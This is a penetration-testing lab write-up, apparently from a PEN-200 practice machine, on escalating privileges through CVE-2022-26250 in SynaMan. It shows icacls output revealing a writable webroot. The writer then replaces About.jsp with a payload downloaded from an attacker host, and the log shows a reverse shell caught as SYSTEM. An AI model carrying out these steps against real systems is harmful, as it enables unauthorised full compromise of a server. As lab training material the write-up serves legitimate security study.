InfoSec LAB

Fish_Privilege_Escalation_3

Created: 2 min read

CVE-2022-26250

The target SynaMan instance has been identified to be vulnerable to CVE-2022-26250. The vulnerability has been manually confirmed.

A vulnerability was found in Synametrics Synaman up to 5.1. It has been classified as critical. This affects an unknown part. The manipulation leads to permission. This vulnerability is uniquely identified as CVE-2022-26250.

Exploit

PS C:\SynaMan\htdocs\webapps\ROOT> icacls C:\SynaMan\htdocs\webapps\ROOT
C:\SynaMan\htdocs\webapps\ROOT BUILTIN\Administrators:(I)(OI)(CI)(F)
                               NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
                               BUILTIN\Users:(I)(OI)(CI)(RX)
                               NT AUTHORITY\Authenticated Users:(I)(M)
                               NT AUTHORITY\Authenticated Users:(I)(OI)(CI)(IO)(M)
 
Successfully processed 1 files; Failed processing 0 files
 
PS C:\SynaMan\htdocs\webapps\ROOT> icacls C:\SynaMan\
C:\SynaMan\ BUILTIN\Administrators:(I)(OI)(CI)(F)
            NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
            BUILTIN\Users:(I)(OI)(CI)(RX)
            NT AUTHORITY\Authenticated Users:(I)(M)
            NT AUTHORITY\Authenticated Users:(I)(OI)(CI)(IO)(M)
 
Successfully processed 1 files; Failed processing 0 files

The entire C:\SynaMan\ is writable by anyone

Exploitation

Given that no credential is known at this time, web application access is rather limited. However, the About section can be accessed without authentication.

PS C:\SynaMan\htdocs\webapps\ROOT> mv .\About.jsp .\About.jsp.bak
PS C:\SynaMan\htdocs\webapps\ROOT> iwr -Uri http://192.168.45.249/About.jsp -OutFile C:\SynaMan\htdocs\webapps\ROOT\About.jsp

Renaming the original About.jsp file and replacing it with the payload

Now just need to click into the About button to invoke the payload

┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/fish]
└─$ nnc 4444
listening on [any] 4444 ...
connect to [192.168.45.249] from (UNKNOWN) [192.168.219.168] 50393
Microsoft Windows [Version 10.0.19042.1288]
(c) Microsoft Corporation. All rights reserved.
 
C:\SynaMan> whoami
 whoami
nt authority\system
 
C:\SynaMan> hostname
 hostname
Fishyyy
 
C:\SynaMan> ipconfig
 ipconfig
 
Windows IP Configuration
 
 
Ethernet adapter Ethernet0 2:
 
   Connection-specific DNS Suffix  . : 
   IPv4 Address. . . . . . . . . . . : 192.168.219.168
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 192.168.219.254

System level compromise

Interactive Graph View

Backlinks